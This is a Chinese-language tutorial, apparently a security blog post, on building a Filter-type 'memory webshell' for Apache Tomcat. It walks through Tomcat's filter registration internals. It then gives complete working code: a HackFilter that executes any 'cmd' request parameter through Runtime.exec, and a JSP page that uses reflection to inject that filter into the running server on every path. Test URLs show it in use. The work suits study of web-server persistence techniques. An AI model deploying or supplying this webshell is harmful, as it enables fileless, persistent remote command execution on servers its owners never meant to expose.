在学习了白日梦组长师傅的《java内存马专题1-servlet内存马》后深受启发,决定自己去探索学习一下Filter型内存马,收获颇多,在此分享给大家。
一、神奇的tomcat
为了学习tomcat内存马,我们应该先了解一下tomcat的基本结构
Tomcat = WEB 服务器 + Servlet 容器
Connector做的事情:
监听网络端口
接收网络请求
读取请求中的字节流,并将字节流转换为Request对象
将Request对象发送到Container ,同时接收Container 返回的Response对象
转换Response对象为字节流并响应网络请求
小结:Connector是Tomcat与外部连接的通道,接收各种不同协议的网络请求
为了学习tomcat内存马,我们需要重点关注的是处理内部 Servlet的Container
Container使用Pipeline-Valve管道来处理request对象:
Valve表示管道的阀门,每个管道都有一个BaseValve,在最后一个执行。
request对象最先进入EnginePipeline进行处理,依次会执行每一个Valve,直到StandardWrapperValve
当执行到StandardWrapperValve的时候,会在StandardWrapperValve中创建FilterChain,并调用其doFilter方法来处理请求,这个FilterChain包含着我们配置的与请求相匹配的Filter和Servlet,其doFilter方法会依次调用所有的Filter的doFilter方法和Servlet的service方法。
参考资料:https://www.cnblogs.com/java-chen-hao/p/11316795.html
二、Tomcat注册Filter的过程
根据组长的思路,先写一个Filter,来看一下tomcat是如何注册一个filter的
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//若传入的参数中有cmd,执行cmd中的命令
if(request.getParameter("cmd")!=null){
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
System.out.println("执行了HelloFilter过滤器");
chain.doFilter(request,response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
在web.xml文件中配置好,/*
表示匹配所有路径
<filter>
<filter-name>HelloFilter</filter-name>
<filter-class>com.example.memory_horse.HelloFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>HelloFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
当我们访问任意路径加上?cmd=calc时
,都会执行到Runtime.getRuntime().exec(request.getParameter("cmd"));
弹出计算器
调试一下刚才执行的代码
我们知道,在ContextConfig类的configureContext方法中将解析xml文件后的内容加载到Context中(即tomcat在configureContext方法中正式加载xml文件)
我们在ContextConfig类的configureContext方法开始调试,断点下到1446行
该方法中与Filter相关的代码有1446行~1454行,这些代码做了两件事:
addFilterDef
addFilterMap
下面我们具体研究一下这两步
addFilterDef
context.addFilterDef(filter)
中的filter是一个FilterDef类的对象
//FilterDef类
public class FilterDef implements Serializable {
private transient Filter filter = null;
private String filterClass = null;
private String filterName = null;
......
getter();
setter();
}
我们可以手动创建一个FilterDef对象加入到context中,我们只需关注其中的filter,filterName和filterClass三个属性
//新创建一个FilterDef对象
FilterDef filterDef = new FilterDef();
//设置其属性,HackFilter是我们的恶意类
filterDef.setFilter(new HackFilter());
filterDef.setFilterName("HackFilter");
filterDef.setFilterClass(HackFilter.class.getName());
//将构造好的FilterDef对象加入到context
context.addFilterDef(filterDef);
addFilterMap
同理,我们添加一个FilterMap对象
//新创建一个FilterMap对象
FilterMap filterMap = new FilterMap();
//设置其属性,HackFilter是我们刚构造的Filter
filterMap.setFilterName("HackFilter");
filterMap.addURLPattern("/*");
//将构造好的FilterMap对象加入到context
context.addFilterMap(filterMap);
filterConfigs.put
但是我们发现仅仅只靠这两步是不够的
图片来自https://blog.csdn.net/u010883443/article/details/107463782
蓝框中的是我们已经完成的操作,即addFilterDef
和addFilterMap
但是我们发现在后面的filterStart()中也有一些针对Filter的关键操作
在filterStart()方法中,filterDef
被封装为ApplicationFilterConfig类型的对象,然后重新添加到了filterConfigs
中
我们再来看一下filterConfigs
是什么
我们发现filterConfigs
就是StandardContext类的Map类型的成员属性
因此,我们下一步要做的是在context中添加一个ApplicationFilterConfig类的对象
//反射得到ApplicationFilterConfig类的构造函数
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
//filterDef被封装为ApplicationFilterConfig类的对象
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
//反射得到StandardContext类的filterConfigs属性
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
//得到context对象的filterConfigs属性
Map filterConfigs = (Map) Configs.get(context);
//在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象
filterConfigs.put("HackFilter",filterConfig);
三、写一个恶意Filter注册到tomcat
写一个恶意Filter
public class HackFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//若传入的参数中有cmd,执行cmd中的命令
if(request.getParameter("cmd")!=null){
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
System.out.println("执行了HackFilter过滤器");
chain.doFilter(request,response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
通过上一节的学习,我们可以把我们构造的HackFilter添加进context中了。
但是,我们在程序运行过程中怎么获取context对象呢?
jsp内置对象request
有一个getServletContext()
方法,可以获得一个ServletContext
类的对象
那么如何通过servletContext找到StandardContext呢?
通过反射获取**context(ApplicationContext)属性,他是一个ApplicationContext对象,再获取它的context(StandardContext)**属性,得到了一个StandardContext类的对象。
用来获取StandardContext类的对象的代码如下:
//获取到了ServletContext类的对象
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
//获取到了ApplicationContext类的对象
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
//获取到了StandardContext类的对象
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
四、完整代码
综上,我们可以先梳理一下整个步骤:
获取context
addFilterDef
addFilterMap
封装filterDef为ApplicationFilterConfig类的对象
在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class HackFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
//若传入的参数中有cmd,执行cmd中的命令
if(request.getParameter("cmd")!=null){
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
System.out.println("执行了HackFilter过滤器");
chain.doFilter(request,response);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
%>
<%
//动态注册Filter
//1.获取context
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
//2.addFilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(new HackFilter());
filterDef.setFilterName("HackFilter");
filterDef.setFilterClass(HackFilter.class.getName());
context.addFilterDef(filterDef);
//3.addFilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("HackFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);
//4.封装filterDef为ApplicationFilterConfig类的对象
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context,filterDef);
//5.在context对象的filterConfigs属性中添加上我们构造好的ApplicationFilterConfig类的对象
Field Configs = context.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(context);
filterConfigs.put("HackFilter",filterConfig);
%>
</body>
</html>
浏览器访问http://localhost:8080/memory_horse_war_exploded/addFilter.jsp
内存马写入内存
访问http://localhost:8080/memory_horse_war_exploded/?cmd=calc
运行我们的恶意Filter
五、 关于setDispatcher
我们见到大多数人写的Filter内存马中都有这么一句:
filterMap.setDispatcher(DispatcherType.REQUEST.name());
这个方法用来设置FilterMap的当前状态,该状态表示何时应用过滤器。
REQUEST表示请求的调度程序类型,是容器用于选择需要应用于请求的过滤器的一种类型。
并且该属性是有一个初始值的
我们看到,如果没有设置dispatcher,会默认返回一个REQUEST
所以说,我们可以不写这句话:filterMap.setDispatcher(DispatcherType.REQUEST.name());